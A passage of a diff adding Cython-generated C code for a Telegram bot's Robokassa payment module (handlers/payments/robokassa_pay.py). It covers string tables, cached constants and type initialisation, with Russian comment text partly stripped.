sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_check_payment_signature, __pyx_k_check_payment_signature, sizeof(__pyx_k_check_payment_signature), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_robokassa, __pyx_k_choosing_amount_robokassa, sizeof(__pyx_k_choosing_amount_robokassa), 0, 0, 1, 1}, + {&__pyx_kp_u_chose_to_enter_a_custom_amount, __pyx_k_chose_to_enter_a_custom_amount, sizeof(__pyx_k_chose_to_enter_a_custom_amount), 0, 1, 0, 0}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_clear, __pyx_k_clear, sizeof(__pyx_k_clear), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_confirm_keyboard, __pyx_k_confirm_keyboard, sizeof(__pyx_k_confirm_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 0, 1, 1}, + {&__pyx_kp_u_description_2, __pyx_k_description_2, sizeof(__pyx_k_description_2), 0, 1, 0, 0}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_robokassa, __pyx_k_enter_custom_amount_robokassa, sizeof(__pyx_k_enter_custom_amount_robokassa), 0, 1, 0, 1}, + {&__pyx_kp_u_entered_custom_amount, __pyx_k_entered_custom_amount, sizeof(__pyx_k_entered_custom_amount), 0, 1, 0, 0}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_signature, __pyx_k_expected_signature, sizeof(__pyx_k_expected_signature), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_generate_by_script, __pyx_k_generate_by_script, sizeof(__pyx_k_generate_by_script), 0, 0, 1, 1}, + {&__pyx_n_s_generate_payment_link, __pyx_k_generate_payment_link, sizeof(__pyx_k_generate_payment_link), 0, 0, 1, 1}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handle_custom_amount_input, __pyx_k_handle_custom_amount_input, sizeof(__pyx_k_handle_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_robokassa_pay, __pyx_k_handlers_payments_robokassa_pay, sizeof(__pyx_k_handlers_payments_robokassa_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_k_handlers_payments_robokassa_pay_2, sizeof(__pyx_k_handlers_payments_robokassa_pay_2), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_n_s_hashlib, __pyx_k_hashlib, sizeof(__pyx_k_hashlib), 0, 0, 1, 1}, + {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_kp_u_initiated_Robokassa_payment, __pyx_k_initiated_Robokassa_payment, sizeof(__pyx_k_initiated_Robokassa_payment), 0, 1, 0, 0}, + {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_inv_id, __pyx_k_inv_id, sizeof(__pyx_k_inv_id), 0, 0, 1, 1}, + {&__pyx_kp_u_inv_id_2, __pyx_k_inv_id_2, sizeof(__pyx_k_inv_id_2), 0, 1, 0, 0}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_is_test, __pyx_k_is_test, sizeof(__pyx_k_is_test), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_link, __pyx_k_link, sizeof(__pyx_k_link), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_md5, __pyx_k_md5, sizeof(__pyx_k_md5), 0, 0, 1, 1}, + {&__pyx_n_s_merchant_login, __pyx_k_merchant_login, sizeof(__pyx_k_merchant_login), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_out_sum, __pyx_k_out_sum, sizeof(__pyx_k_out_sum), 0, 0, 1, 1}, + {&__pyx_n_s_params, __pyx_k_params, sizeof(__pyx_k_params), 0, 0, 1, 1}, + {&__pyx_n_s_password1, __pyx_k_password1, sizeof(__pyx_k_password1), 0, 0, 1, 1}, + {&__pyx_n_s_password2, __pyx_k_password2, sizeof(__pyx_k_password2), 0, 0, 1, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_robokassa, __pyx_k_pay_robokassa, sizeof(__pyx_k_pay_robokassa), 0, 1, 0, 1}, + {&__pyx_n_s_payment, __pyx_k_payment, sizeof(__pyx_k_payment), 0, 0, 1, 1}, + {&__pyx_n_s_payment_link, __pyx_k_payment_link, sizeof(__pyx_k_payment_link), 0, 0, 1, 1}, + {&__pyx_n_s_payment_url, __pyx_k_payment_url, sizeof(__pyx_k_payment_url), 0, 0, 1, 1}, + {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_robokassa, __pyx_k_process_callback_pay_robokassa, sizeof(__pyx_k_process_callback_pay_robokassa), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_selection, __pyx_k_process_custom_amount_selection, sizeof(__pyx_k_process_custom_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_s_robokassa, __pyx_k_robokassa, sizeof(__pyx_k_robokassa), 0, 0, 1, 1}, + {&__pyx_n_u_robokassa, __pyx_k_robokassa, sizeof(__pyx_k_robokassa), 0, 1, 0, 1}, + {&__pyx_kp_u_robokassa_amount, __pyx_k_robokassa_amount, sizeof(__pyx_k_robokassa_amount), 0, 1, 0, 0}, + {&__pyx_n_s_robokassa_webhook, __pyx_k_robokassa_webhook, sizeof(__pyx_k_robokassa_webhook), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_kp_u_selected_amount, __pyx_k_selected_amount, sizeof(__pyx_k_selected_amount), 0, 1, 0, 0}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_n_s_shp_id, __pyx_k_shp_id, sizeof(__pyx_k_shp_id), 0, 0, 1, 1}, + {&__pyx_n_u_shp_id, __pyx_k_shp_id, sizeof(__pyx_k_shp_id), 0, 1, 0, 1}, + {&__pyx_kp_u_shp_id_2, __pyx_k_shp_id_2, sizeof(__pyx_k_shp_id_2), 0, 1, 0, 0}, + {&__pyx_kp_u_shp_id_3, __pyx_k_shp_id_3, sizeof(__pyx_k_shp_id_3), 0, 1, 0, 0}, + {&__pyx_n_s_signature_string, __pyx_k_signature_string, sizeof(__pyx_k_signature_string), 0, 0, 1, 1}, + {&__pyx_n_s_signature_value, __pyx_k_signature_value, sizeof(__pyx_k_signature_value), 0, 0, 1, 1}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_upper, __pyx_k_upper, sizeof(__pyx_k_upper), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {&__pyx_kp_u_with_amount, __pyx_k_with_amount, sizeof(__pyx_k_with_amount), 0, 1, 0, 0}, + {&__pyx_kp_u_with_balance_0_0, __pyx_k_with_balance_0_0, sizeof(__pyx_k_with_balance_0_0), 0, 1, 0, 0}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 73, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 132, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/robokassa_pay.py":132 + * amount = int(amount_str) + * if amount <= 0: + * raise ValueError(" .") # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") + */ + __pyx_tuple__11 = PyTuple_Pack(1, __pyx_kp_u__10); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__11); + __Pyx_GIVEREF(__pyx_tuple__11); + + /* "handlers/payments/robokassa_pay.py":234 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__27 = PyTuple_Pack(1, __pyx_kp_u__26); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + + /* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + __pyx_tuple__32 = PyTuple_Pack(5, __pyx_n_s_amount, __pyx_n_s_inv_id, __pyx_n_s_description, __pyx_n_s_tg_id, __pyx_n_s_payment_link); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_codeobj__33 = (PyObject*)__Pyx_PyCode_New(4, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_generate_payment_link, 50, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__33)) __PYX_ERR(0, 50, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__34 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__34); + __Pyx_GIVEREF(__pyx_tuple__34); + __pyx_codeobj__2 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_process_callback_pay_robokassa, 65, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__2)) __PYX_ERR(0, 65, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__35 = PyTuple_Pack(1, __pyx_kp_u_robokassa_amount); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_tuple__36 = PyTuple_Pack(10, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_e, __pyx_n_s_inv_id, __pyx_n_s_tg_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + __pyx_codeobj__7 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_process_amount_selection, 116, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__7)) __PYX_ERR(0, 116, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + __pyx_tuple__37 = PyTuple_Pack(8, __pyx_n_s_request, __pyx_n_s_params, __pyx_n_s_amount, __pyx_n_s_inv_id, __pyx_n_s_shp_id, __pyx_n_s_signature_value, __pyx_n_s_tg_id, __pyx_n_s_e); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_robokassa_webhook, 161, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 161, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + __pyx_tuple__38 = PyTuple_Pack(7, __pyx_n_s_params, __pyx_n_s_out_sum, __pyx_n_s_inv_id, __pyx_n_s_signature_value, __pyx_n_s_shp_id, __pyx_n_s_signature_string, __pyx_n_s_expected_signature); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__38); + __Pyx_GIVEREF(__pyx_tuple__38); + __pyx_codeobj__39 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_check_payment_signature, 203, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__39)) __PYX_ERR(0, 203, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__40 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_tg_id, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__40); + __Pyx_GIVEREF(__pyx_tuple__40); + __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_process_custom_amount_selection, 224, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 224, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + __pyx_tuple__41 = PyTuple_Pack(8, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_tg_id, __pyx_n_s_inv_id, __pyx_n_s_amount, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__41); + __Pyx_GIVEREF(__pyx_tuple__41); + __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__41, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_handle_custom_amount_input, 244, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_500 = PyInt_FromLong(500); if (unlikely(!__pyx_int_500)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)) __PYX_ERR(0, 65, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 116, __pyx_L1_error) + if 